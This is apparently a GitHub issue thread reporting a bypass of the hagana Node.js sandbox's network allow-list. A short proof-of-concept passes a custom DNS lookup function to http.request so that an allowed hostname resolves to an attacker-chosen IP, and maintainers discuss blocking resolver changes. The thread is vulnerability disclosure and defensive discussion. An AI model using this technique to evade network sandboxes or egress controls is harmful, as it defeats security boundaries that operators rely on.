hagana
hagana copied to clipboard
Lookup HTTP(S) bypass
I found another bypass, this time on the network (HTTP(S)) access control side.
It's possible to specify a custom IP address resolver which will resolve the whitelisted domain name to a malicious, attacker planted, IP address.
e.g:
import http from 'http';
export function run () {
return new Promise((resolve, reject) => {
const maliciousHost = 'example.com';
const maliciousIp = '93.184.216.34';
const chunks = [];
const req = http.request(
'http://httpbin.org/get',
{
lookup: (_hostname, _options, callback) => callback(null, maliciousIp, 4),
headers: {
Host: maliciousHost
}
},
res => {
res.on('data', chunk => chunks.push(chunk));
res.once('end', () => {
console.log('RESPONSE=', Buffer.concat(chunks).toString());
resolve();
});
}
);
req.once('error', reject);
req.end();
});
}
After thinking about this for a bit, I suppose the correct approach here is to create a whitelist for allowed DNS resolver IPs
@yaakov123 Probably. It's a bit risky though since IP addresses could change after the application has been run.
Usually the custom lookup is used for two reasons:
- performance; where you would use
resolve()
(C-Ares) instead oflookup()
(Host syscall) - resolution rules; where you would want to bypass /etc/hosts or host specific DNS rules (or not)
Safest is a list of allowed IP addresses and next safest would probably be to block the feature altogether. :/
I see. I think the approach of blocking all entrypoints to changing the DNS resolver IP (e.g. dns.setServers
, and lookup, resolve
) and only allowing resolvers known ahead of time.